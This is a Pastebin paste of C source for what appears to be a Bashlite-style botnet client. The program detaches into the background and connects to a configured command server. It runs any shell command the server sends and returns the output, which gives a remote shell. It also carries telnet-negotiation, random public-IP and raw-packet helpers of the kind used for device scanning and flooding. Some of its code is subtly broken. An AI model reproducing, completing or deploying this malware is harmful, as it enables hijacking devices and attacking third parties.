Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2017
511
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.95 KB | None | 0 0
  1. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  2. #define PAD_RIGHT 1
  3. #define PAD_ZERO 2
  4. #define PRINT_BUF_LEN 12
  5. #define CMD_IAC 255
  6. #define CMD_WILL 251
  7. #define CMD_WONT 252
  8. #define CMD_DO 253
  9. #define CMD_DONT 254
  10. #define OPT_SGA 3
  11.  
  12. #include <stdlib.h>
  13. #include <stdarg.h>
  14. #include <stdio.h>
  15. #include <sys/socket.h>
  16. #include <sys/types.h>
  17. #include <netinet/in.h>
  18. #include <arpa/inet.h>
  19. #include <netdb.h>
  20. #include <signal.h>
  21. #include <strings.h>
  22. #include <string.h>
  23. #include <sys/utsname.h>
  24. #include <unistd.h>
  25. #include <fcntl.h>
  26. #include <errno.h>
  27. #include <netinet/ip.h>
  28. #include <netinet/udp.h>
  29. #include <netinet/tcp.h>
  30. #include <sys/wait.h>
  31. #include <sys/ioctl.h>
  32. #include <net/if.h>
  33.  
  34. unsigned char *commServer[] = {
  35. "127.0.0.1"
  36. };
  37.  
  38. int initConnection();
  39. int getBogos(unsigned char *bogomips);
  40. int getCores();
  41. int getCountry(unsigned char *buf, int bufsize);
  42. void makeRandomStr(unsigned char *buf, int length);
  43. int sockprintf(int sock, char *formatStr, ...);
  44. char *inet_ntoa(struct in_addr in);
  45.  
  46. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  47. uint32_t *pids;
  48. uint32_t scanPid;
  49. uint64_t numpids = 0;
  50. struct in_addr ourIP;
  51. unsigned char macAddress[0] = {0};
  52.  
  53. #define PHI 0x9e3779b9
  54.  
  55. static uint32_t Q[4096]; c = 362436;
  56.  
  57. void init_rand(uint32_t x) {
  58. int i;
  59.  
  60.  
  61. Q[0] = x;
  62. Q[1] = x + PHI;
  63. Q[2] = x + PHI + PHI;
  64.  
  65. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  66. }
  67.  
  68. uint32_t rand_cmwc(void) {
  69. uint64_t t, a = 18782LL;
  70. static uint32_t i = 4095;
  71. uint32_t x, r = 0xfffffffe;
  72. i = (i + 1) & 4095;
  73. t = a * Q[i] + c;
  74. c = (uint32_t)(t >> 32);
  75. x = t + c;
  76. if (x < c) {
  77. x++;
  78. c++;
  79. }
  80. return (Q[i] = r - x);
  81. }
  82.  
  83. void trim(char *str) {
  84. int i;
  85. int begin = 0;
  86. int end = strlen(str) - 1;
  87.  
  88. while (isspace(str[begin])) begin++;
  89.  
  90. while ((end >= begin) && isspace(str[end])) end--;
  91. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  92.  
  93. str[i - begin] = '\0';
  94. }
  95.  
  96. static void printchar(unsigned char **str, int c) {
  97. if (str) {
  98. **str = c;
  99. ++(*str);
  100. }
  101. else (void)write(1, &c, 1);
  102. }
  103.  
  104. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  105. register int pc = 0, padchar = ' ';
  106.  
  107. if (width > 0) {
  108. register int len = 0;
  109. register const unsigned char *ptr;
  110. for (ptr = string; *ptr; ++ptr) ++len;
  111. if (len >= width) width = 0;
  112. else width -= len;
  113. if (pad & PAD_ZERO) padchar = '0';
  114. }
  115. if (!(pad & PAD_RIGHT)) {
  116. for ( ; width > 0; --width) {
  117. printchar (out, padchar);
  118. ++pc;
  119. }
  120. }
  121. for ( ; *string ; ++string) {
  122. printchar (out, *string);
  123. ++pc;
  124. }
  125. for ( ; width > 0; --width) {
  126. printchar (out, padchar);
  127. ++pc;
  128. }
  129.  
  130. return pc;
  131. }
  132.  
  133. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  134. {
  135. unsigned char print_buf[PRINT_BUF_LEN];
  136. register unsigned char *s;
  137. register int t, neg = 0, pc = 0;
  138. register unsigned int u = i;
  139.  
  140. if (i == 0) {
  141. print_buf[0] = '0';
  142. print_buf[1] = '\0';
  143. return prints (out, print_buf, width, pad);
  144. }
  145.  
  146. if (sg && b == 10 && i < 0) {
  147. neg = 1;
  148. u = -i;
  149. }
  150.  
  151. s = print_buf + PRINT_BUF_LEN-1;
  152. *s = '\0';
  153.  
  154. while (u) {
  155. t = u % b;
  156. if( t >= 10 )
  157. t += letbase - '0' - 10;
  158. *--s = t + '0';
  159. u /= b;
  160. }
  161.  
  162. if (neg) {
  163. if( width && (pad & PAD_ZERO) ) {
  164. printchar (out, '-');
  165. ++pc;
  166. --width;
  167. }
  168. else {
  169. *--s = '-';
  170. }
  171. }
  172.  
  173. return pc + prints (out, s, width, pad);
  174. }
  175.  
  176.  
  177. static int print(unsigned char **out, const unsigned char *format, va_list args )
  178. {
  179. register int width, pad;
  180. register int pc = 0;
  181. unsigned char scr[2];
  182.  
  183. for (; *format != 0; ++format) {
  184. if (*format == '%') {
  185. ++format;
  186. width = pad = 0;
  187. if (*format == '\0') break;
  188. if (*format == '%') goto out;
  189. if (*format == '-') {
  190. ++format;
  191. pad = PAD_RIGHT;
  192. }
  193. while (*format == '0') {
  194. ++format;
  195. pad |= PAD_ZERO;
  196. }
  197. for ( ; *format >= '0' && *format <= '9'; ++format) {
  198. width *= 10;
  199. width += *format - '0';
  200. }
  201. if( *format == 's' ) {
  202. register char *s = (char *)va_arg( args, int );
  203. pc += prints (out, s?s:"(null)", width, pad);
  204. continue;
  205. }
  206. if( *format == 'd' ) {
  207. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  208. continue;
  209. }
  210. if( *format == 'x' ) {
  211. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  212. continue;
  213. }
  214. if( *format == 'X' ) {
  215. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  216. continue;
  217. }
  218. if( *format == 'u' ) {
  219. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  220. continue;
  221. }
  222. if( *format == 'c' ) {
  223. scr[0] = (unsigned char)va_arg( args, int );
  224. scr[1] = '\0';
  225. pc += prints (out, scr, width, pad);
  226. continue;
  227. }
  228. }
  229. else {
  230. out:
  231. printchar (out, *format);
  232. ++pc;
  233. }
  234. }
  235. if (out) **out = '\0';
  236. va_end( args );
  237. return pc;
  238. }
  239.  
  240. int zprintf(const unsigned char *format, ...)
  241. {
  242. va_list args;
  243. va_start( args, format );
  244. return print( 0, format, args );
  245. }
  246.  
  247. int szprintf(unsigned char *out, const unsigned char *format, ...)
  248. {
  249. va_list args;
  250. va_start( args, format );
  251. return print( &out, format, args );
  252. }
  253.  
  254.  
  255. int sockprintf(int sock, char *formatStr, ...)
  256. {
  257. unsigned char *textBuffer = malloc(2048);
  258. memset(textBuffer, 0, 2048);
  259. char *orig = textBuffer;
  260. va_list args;
  261. va_start(args, formatStr);
  262. print(&textBuffer, formatStr, args);
  263. va_end(args);
  264. orig[strlen(orig)] = '\n';
  265. zprintf("buf: %s\n", orig);
  266. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  267. free(orig);
  268. return q;
  269. }
  270.  
  271. static int *fdopen_pids;
  272.  
  273. int fdpopen(unsigned char *program, register unsigned char *type)
  274. {
  275. register int iop;
  276. int pdes[2], fds, pid;
  277.  
  278. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  279.  
  280. if (pipe(pdes) < 0) return -1;
  281. if (fdopen_pids == NULL) {
  282. if ((fds = getdtablesize()) <= 0) return -1;
  283. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  284. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  285. }
  286.  
  287. switch (pid = vfork())
  288. {
  289. case -1:
  290. close(pdes[0]);
  291. close(pdes[1]);
  292. return -1;
  293. case 0:
  294. if (*type == 'r') {
  295. if (pdes[1] != 1) {
  296. dup2(pdes[1], 1);
  297. close(pdes[1]);
  298. }
  299. close(pdes[0]);
  300. } else {
  301. if (pdes[0] != 0) {
  302. (void) dup2(pdes[0], 0);
  303. (void) close(pdes[0]);
  304. }
  305. (void) close(pdes[1]);
  306. }
  307. execl("/bin/sh", "sh", "-c", program, NULL);
  308. _exit(127);
  309. }
  310. if (*type == 'r') {
  311. iop = pdes[0];
  312. (void) close(pdes[1]);
  313. } else {
  314. iop = pdes[1];
  315. (void) close(pdes[0]);
  316. }
  317. fdopen_pids[iop] = pid;
  318. return (iop);
  319. }
  320.  
  321. int fdpclose(int iop)
  322. {
  323. register int fdes;
  324. sigset_t omask, nmask;
  325. int pstat;
  326. register int pid;
  327.  
  328. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  329. (void) close(iop);
  330. sigemptyset(&nmask);
  331. sigaddset(&nmask, SIGINT);
  332. sigaddset(&nmask, SIGQUIT);
  333. sigaddset(&nmask, SIGHUP);
  334. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  335. do {
  336. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  337. } while (pid == -1 && errno == EINTR);
  338. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  339. fdopen_pids[fdes] = 0;
  340. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  341. }
  342.  
  343. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  344. {
  345. int got = 1, total = 0;
  346. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  347. return got == 0 ? NULL : buffer;
  348. }
  349.  
  350. static const long hextable[] = {
  351. [0 ... 255] = -1,
  352. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  353. ['A'] = 10, 11, 12, 13, 14, 15,
  354. ['a'] = 10, 11, 12, 13, 14, 15
  355. };
  356.  
  357. long parseHex(unsigned char *hex)
  358. {
  359. long ret = 0;
  360. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  361. return ret;
  362. }
  363.  
  364. int wildString(const unsigned char* pattern, const unsigned char* string) {
  365. switch(*pattern)
  366. {
  367. case '\0': return *string;
  368. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  369. case '?': return !(*string && !wildString(pattern+1, string+1));
  370. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  371. }
  372. }
  373.  
  374. int getHost(unsigned char *toGet, struct in_addr *i)
  375. {
  376. struct hostent *h;
  377. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  378. return 0;
  379. }
  380.  
  381. void uppercase(unsigned char *str)
  382. {
  383. while(*str) { *str = toupper(*str); str++; }
  384. }
  385.  
  386. int getBogos(unsigned char *bogomips)
  387. {
  388. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  389. char linebuf[4096];
  390. while(fdgets(linebuf, 4096, cmdline) != NULL)
  391. {
  392. uppercase(linebuf);
  393. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  394. {
  395. unsigned char *pos = linebuf + 8;
  396. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  397. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  398. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  399. strcpy(bogomips, pos);
  400. close(cmdline);
  401. return 0;
  402. }
  403. memset(linebuf, 0, 4096);
  404. }
  405. close(cmdline);
  406. return 1;
  407. }
  408.  
  409. int getCores()
  410. {
  411. int totalcores = 0;
  412. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  413. char linebuf[4096];
  414. while(fdgets(linebuf, 4096, cmdline) != NULL)
  415. {
  416. uppercase(linebuf);
  417. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  418. memset(linebuf, 0, 4096);
  419. }
  420. close(cmdline);
  421. return totalcores;
  422.  
  423. }
  424.  
  425. void makeRandomStr(unsigned char *buf, int length)
  426. {
  427. int i = 0;
  428. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  429. }
  430.  
  431. int recvLine(int socket, unsigned char *buf, int bufsize)
  432. {
  433. memset(buf, 0, bufsize);
  434.  
  435. fd_set myset;
  436. struct timeval tv;
  437. tv.tv_sec = 30;
  438. tv.tv_usec = 0;
  439. FD_ZERO(&myset);
  440. FD_SET(socket, &myset);
  441. int selectRtn, retryCount;
  442. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  443. while(retryCount < 10)
  444. {
  445. sockprintf(mainCommSock, "PING");
  446.  
  447. tv.tv_sec = 30;
  448. tv.tv_usec = 0;
  449. FD_ZERO(&myset);
  450. FD_SET(socket, &myset);
  451. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  452. retryCount++;
  453. continue;
  454. }
  455.  
  456. break;
  457. }
  458. }
  459.  
  460. unsigned char tmpchr;
  461. unsigned char *cp;
  462. int count = 0;
  463.  
  464. cp = buf;
  465. while(bufsize-- > 1)
  466. {
  467. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  468. *cp = 0x00;
  469. return -1;
  470. }
  471. *cp++ = tmpchr;
  472. if(tmpchr == '\n') break;
  473. count++;
  474. }
  475. *cp = 0x00;
  476.  
  477. zprintf("recv: %s\n", cp);
  478.  
  479. return count;
  480. }
  481.  
  482. int connectTimeout(int fd, char *host, int port, int timeout)
  483. {
  484. struct sockaddr_in dest_addr;
  485. fd_set myset;
  486. struct timeval tv;
  487. socklen_t lon;
  488.  
  489. int valopt;
  490. long arg = fcntl(fd, F_GETFL, NULL);
  491. arg |= O_NONBLOCK;
  492. fcntl(fd, F_SETFL, arg);
  493.  
  494. dest_addr.sin_family = AF_INET;
  495. dest_addr.sin_port = htons(port);
  496. if(getHost(host, &dest_addr.sin_addr)) return 0;
  497. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  498. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  499.  
  500. if (res < 0) {
  501. if (errno == EINPROGRESS) {
  502. tv.tv_sec = timeout;
  503. tv.tv_usec = 0;
  504. FD_ZERO(&myset);
  505. FD_SET(fd, &myset);
  506. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  507. lon = sizeof(int);
  508. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  509. if (valopt) return 0;
  510. }
  511. else return 0;
  512. }
  513. else return 0;
  514. }
  515.  
  516. arg = fcntl(fd, F_GETFL, NULL);
  517. arg &= (~O_NONBLOCK);
  518. fcntl(fd, F_SETFL, arg);
  519.  
  520. return 1;
  521. }
  522.  
  523. int listFork()
  524. {
  525. uint32_t parent, *newpids, i;
  526. parent = fork();
  527. if (parent <= 0) return parent;
  528. numpids++;
  529. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  530. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  531. newpids[numpids - 1] = parent;
  532. free(pids);
  533. pids = newpids;
  534. return parent;
  535. }
  536.  
  537. int negotiate(int sock, unsigned char *buf, int len)
  538. {
  539. unsigned char c;
  540.  
  541. switch (buf[1]) {
  542. case CMD_IAC: /*dropped an extra 0xFF whoops*/ return 0;
  543. case CMD_WILL:
  544. case CMD_WONT:
  545. case CMD_DO:
  546. case CMD_DONT:
  547. c = CMD_IAC;
  548. send(sock, &c, 1, MSG_NOSIGNAL);
  549. if (CMD_WONT == buf[1]) c = CMD_DONT;
  550. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  551. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  552. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  553. send(sock, &c, 1, MSG_NOSIGNAL);
  554. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  555. break;
  556.  
  557. default:
  558. break;
  559. }
  560.  
  561. return 0;
  562. }
  563.  
  564. int matchPrompt(char *bufStr)
  565. {
  566. char *prompts = ":>%$#\0";
  567.  
  568. int bufLen = strlen(bufStr);
  569. int i, q = 0;
  570. for(i = 0; i < strlen(prompts); i++)
  571. {
  572. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  573. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  574. }
  575.  
  576. return 0;
  577. }
  578.  
  579. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  580. {
  581. int bufferUsed = initialIndex, got = 0, found = 0;
  582. fd_set myset;
  583. struct timeval tv;
  584. tv.tv_sec = timeout;
  585. tv.tv_usec = timeoutusec;
  586. unsigned char *initialRead = NULL;
  587.  
  588. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  589. {
  590. FD_ZERO(&myset);
  591. FD_SET(fd, &myset);
  592. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  593. initialRead = buffer + bufferUsed;
  594. got = recv(fd, initialRead, 1, 0);
  595. if(got == -1 || got == 0) return 0;
  596. bufferUsed += got;
  597. if(*initialRead == 0xFF)
  598. {
  599. got = recv(fd, initialRead + 1, 2, 0);
  600. if(got == -1 || got == 0) return 0;
  601. bufferUsed += got;
  602. if(!negotiate(fd, initialRead, 3)) return 0;
  603. } else {
  604. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  605. }
  606. }
  607.  
  608. if(found) return 1;
  609. return 0;
  610. }
  611.  
  612. static uint8_t ipState[5] = {0}; //starting from 1 because you only live once
  613. in_addr_t getRandomPublicIP()
  614. {
  615. if(ipState[1] > 0 && ipState[4] < 255)
  616. {
  617. ipState[4]++;
  618. char ip[16] = {0};
  619. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  620. return inet_addr(ip);
  621. }
  622.  
  623. ipState[1] = rand() % 255;
  624. ipState[2] = rand() % 255;
  625. ipState[3] = rand() % 255;
  626. ipState[4] = 0;
  627. while(
  628. (ipState[1] == 0) ||
  629. (ipState[1] == 10) ||
  630. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  631. (ipState[1] == 127) ||
  632. (ipState[1] == 169 && ipState[2] == 254) ||
  633. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  634. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  635. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  636. (ipState[1] == 192 && ipState[2] == 168) ||
  637. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  638. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  639. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  640. (ipState[1] >= 224)
  641. )
  642. {
  643. ipState[1] = rand() % 255;
  644. ipState[2] = rand() % 255;
  645. ipState[3] = rand() % 255;
  646. }
  647.  
  648. char ip[16] = {0};
  649. szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
  650. return inet_addr(ip);
  651. }
  652.  
  653. in_addr_t getRandomIP(in_addr_t netmask)
  654. {
  655. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  656. return tmp ^ ( rand_cmwc() & ~netmask);
  657. }
  658.  
  659. unsigned short csum (unsigned short *buf, int count)
  660. {
  661. register uint64_t sum = 0;
  662. while( count > 1 ) { sum += *buf++; count -= 2; }
  663. if(count > 0) { sum += *(unsigned char *)buf; }
  664. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  665. return (uint16_t)(~sum);
  666. }
  667.  
  668. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  669. {
  670.  
  671. struct tcp_pseudo
  672. {
  673. unsigned long src_addr;
  674. unsigned long dst_addr;
  675. unsigned char zero;
  676. unsigned char proto;
  677. unsigned short length;
  678. } pseudohead;
  679. unsigned short total_len = iph->tot_len;
  680. pseudohead.src_addr=iph->saddr;
  681. pseudohead.dst_addr=iph->daddr;
  682. pseudohead.zero=0;
  683. pseudohead.proto=IPPROTO_TCP;
  684. pseudohead.length=htons(sizeof(struct tcphdr));
  685. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  686. unsigned short *tcp = malloc(totaltcp_len);
  687. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  688. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  689. unsigned short output = csum(tcp,totaltcp_len);
  690. free(tcp);
  691. return output;
  692. }
  693.  
  694. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  695. {
  696. iph->ihl = 5;
  697. iph->version = 4;
  698. iph->tos = 0;
  699. iph->tot_len = sizeof(struct iphdr) + packetSize;
  700. iph->id = rand_cmwc();
  701. iph->frag_off = 0;
  702. iph->ttl = MAXTTL;
  703. iph->protocol = protocol;
  704. iph->check = 0;
  705. iph->saddr = source;
  706. iph->daddr = dest;
  707. }
  708.  
  709. int sclose(int fd)
  710. {
  711. if(3 > fd) return 1;
  712. close(fd);
  713. return 0;
  714. }
  715.  
  716. void GetCMD(int argc, unsigned char * argv[]) {
  717. if (!strcmp(argv[0], "PING")) {
  718. sockprintf(mainCommSock, "PONG!");
  719. return;
  720. }
  721.  
  722. if (!strcmp(argv[0], "GTFO")) {
  723. exit(0);
  724. }
  725. }
  726.  
  727. int initConnection()
  728. {
  729. unsigned char server[512];
  730. memset(server, 0, 512);
  731. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if the sock initialized then close that.
  732. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  733. else currentServer++;
  734.  
  735. strcpy(server, commServer[currentServer]);
  736. int port = 6667;
  737. if(strchr(server, ':') != NULL)
  738. {
  739. port = atoi(strchr(server, ':') + 1);
  740. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  741. }
  742.  
  743. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  744.  
  745. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  746.  
  747. return 0;
  748. }
  749.  
  750. int getOurIP()
  751. {
  752. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  753. if(sock == -1) return 0;
  754.  
  755. struct sockaddr_in serv;
  756. memset(&serv, 0, sizeof(serv));
  757. serv.sin_family = AF_INET;
  758. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  759. serv.sin_port = htons(53);
  760.  
  761. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  762. if(err == -1) return 0;
  763.  
  764. struct sockaddr_in name;
  765. socklen_t namelen = sizeof(name);
  766. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  767. if(err == -1) return 0;
  768.  
  769. ourIP.s_addr = name.sin_addr.s_addr;
  770.  
  771. int cmdline = open("/proc/net/route", O_RDONLY);
  772. char linebuf[4096];
  773. while(fdgets(linebuf, 4096, cmdline) != NULL)
  774. {
  775. if(strstr(linebuf, "\t00000000\t") != NULL)
  776. {
  777. unsigned char *pos = linebuf;
  778. while(*pos != '\t') pos++;
  779. *pos = 0;
  780. break;
  781. }
  782. memset(linebuf, 0, 4096);
  783. }
  784. close(cmdline);
  785.  
  786. if(*linebuf)
  787. {
  788. int i;
  789. struct ifreq ifr;
  790. strcpy(ifr.ifr_name, linebuf);
  791. ioctl(sock, SIOCGIFHWADDR, &ifr);
  792. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  793. }
  794.  
  795. close(sock);
  796. }
  797.  
  798. char *getBuild()
  799. {
  800. #ifdef MIPS_BUILD
  801. return "MIPS";
  802. #elif MIPSEL_BUILD
  803. return "MIPSEL";
  804. #elif X86_BUILD
  805. return "X86";
  806. #elif ARM_BUILD
  807. return "ARM";
  808. #elif PPC_BUILD
  809. return "POWERPC";
  810. #else
  811. return "UNKNOWN";
  812. #endif
  813. }
  814.  
  815. int main(int argc, unsigned char *argv[])
  816. {
  817. if(SERVER_LIST_SIZE <= 0) return 0; //THE BOT HAS BEEN CONFIGURED WRONGLY
  818.  
  819. srand(time(NULL) ^ getpid());
  820. init_rand(time(NULL) ^ getpid());
  821.  
  822. pid_t pid1;
  823. pid_t pid2;
  824. int status;
  825.  
  826. getOurIP();
  827. zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  828.  
  829. if (pid1 = fork()) {
  830. waitpid(pid1, &status, 0);
  831. exit(0);
  832. } else if (!pid1) {
  833. if (pid2 = fork()) {
  834. exit(0);
  835. } else if (!pid2) {
  836. } else {
  837. zprintf("fork failed\n");
  838. }
  839. } else {
  840. zprintf("fork failed\n");
  841. }
  842.  
  843. setsid();
  844. chdir("/");
  845.  
  846. signal(SIGPIPE, SIG_IGN);
  847.  
  848. while(1)
  849. {
  850. if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
  851.  
  852. sockprintf(mainCommSock, "BUILD %s", getBuild());
  853.  
  854. char commBuf[4096];
  855. int got = 0;
  856. int i = 0;
  857. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  858. {
  859. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  860. unsigned int *newpids, on;
  861. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  862. pids[on - 1] = 0;
  863. numpids--;
  864. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  865. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  866. free(pids);
  867. pids = newpids;
  868. }
  869.  
  870. commBuf[got] = 0x00;
  871.  
  872. trim(commBuf);
  873.  
  874. if(strstr(commBuf, "PING") == commBuf)
  875. {
  876. sockprintf(mainCommSock, "PONG");
  877. continue;
  878. }
  879.  
  880. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  881.  
  882. unsigned char *message = commBuf;
  883.  
  884. if(*message == '!')
  885. {
  886. unsigned char *nickMask = message + 1;
  887. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  888. if(*nickMask == 0x00) continue;
  889. *(nickMask) = 0x00;
  890. nickMask = message + 1;
  891.  
  892. message = message + strlen(nickMask) + 2;
  893. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  894.  
  895. unsigned char *command = message;
  896. while(*message != ' ' && *message != 0x00) message++;
  897. *message = 0x00;
  898. message++;
  899.  
  900. unsigned char *tmpcommand = command;
  901. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  902.  
  903. if(strcmp(command, "SH") == 0)
  904. {
  905. unsigned char buf[1024];
  906. int command;
  907. if (listFork()) continue;
  908. memset(buf, 0, 1024);
  909. szprintf(buf, "%s 2>&1", message);
  910. command = fdpopen(buf, "r");
  911. while(fdgets(buf, 1024, command) != NULL)
  912. {
  913. trim(buf);
  914. sockprintf(mainCommSock, "%s", buf);
  915. memset(buf, 0, 1024);
  916. sleep(1);
  917. }
  918. fdpclose(command);
  919. exit(0);
  920. }
  921.  
  922. unsigned char *params[10];
  923. int paramsCount = 1;
  924. unsigned char *pch = strtok(message, " ");
  925. params[0] = command;
  926.  
  927. while(pch)
  928. {
  929. if(*pch != '\n')
  930. {
  931. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  932. memset(params[paramsCount], 0, strlen(pch) + 1);
  933. strcpy(params[paramsCount], pch);
  934. paramsCount++;
  935. }
  936. pch = strtok(NULL, " ");
  937. }
  938.  
  939. GetCMD(paramsCount, params);
  940.  
  941. if(paramsCount > 1)
  942. {
  943. int q = 1;
  944. for(q = 1; q < paramsCount; q++)
  945. {
  946. free(params[q]);
  947. }
  948. }
  949. }
  950. }
  951. printf("Link closed by server.\n");
  952. }
  953.  
  954. return 0; //This is the proper code
  955.  
  956. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement